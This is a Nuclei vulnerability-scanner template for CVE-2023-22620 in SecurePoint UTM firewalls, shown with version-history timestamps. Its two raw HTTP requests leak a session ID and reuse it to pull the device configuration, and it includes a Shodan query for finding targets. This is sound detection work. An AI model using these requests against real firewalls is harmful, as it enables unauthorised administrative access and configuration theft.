nuclei-templates/http/cves/2023/CVE-2023-22620.yaml

62 lines
2.0 KiB
YAML
Raw Normal View History

2023-04-20 09:17:09 +00:00
id: CVE-2023-22620
info:
name: SecurePoint UTM 12.x Session ID Leak
author: DhiyaneshDK
severity: medium
2023-04-20 20:09:20 +00:00
description: |
An issue was discovered in SecurePoint UTM before 12.2.5.1. The firewall's endpoint at /spcgi.cgi allows sessionid information disclosure via an invalid authentication attempt. This can afterwards be used to bypass the device's authentication and get access to the administrative interface.
2023-04-20 09:17:09 +00:00
remediation: Upgrade to version 12.2.5.1 or newer
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-22620
- https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2023-22620.txt
- https://www.rcesecurity.com/2023/04/securepwn-part-1-bypassing-securepoint-utms-authentication-cve-2023-22620/
- https://packetstormsecurity.com/files/171924/SecurePoint-UTM-12.x-Session-ID-Leak.html
metadata:
max-request: 2
2023-04-20 09:17:09 +00:00
verified: "true"
shodan-query: title:"Securepoint UTM"
tags: utm,leak,memory,packetstorm,cve,cve2023,securepoint
2023-04-20 09:17:09 +00:00
http:
2023-04-20 09:17:09 +00:00
- raw:
- |
POST /spcgi.cgi HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
{"module":"auth","command":["login"],"sessionid":"","arguments":{"user":"","pass":""}}
- |
POST /spcgi.cgi HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
{"module":"system","command":["config","get"],"sessionid":"{{session}}"}
extractors:
- type: regex
name: session
group: 1
regex:
- '"sessionid": "([a-z0-9]+)"'
internal: true
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- '"status":"OK"'
- type: word
part: header_2
words:
- 'application/json'